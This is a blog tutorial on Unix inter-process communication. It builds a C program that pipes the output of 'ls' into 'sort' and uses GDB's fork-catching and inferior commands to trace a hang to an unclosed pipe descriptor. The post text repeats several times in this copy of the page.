    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
     start -->
    		<div>
    			<header>
    				<h1>Blog with Jekyll for beginners</h1>
    				<p>Feb 10, 2017</p>
    			</header>
    		
    			<article>
    				<!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
    
    			</article>
    		</div>
    		<!-- Replace <!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
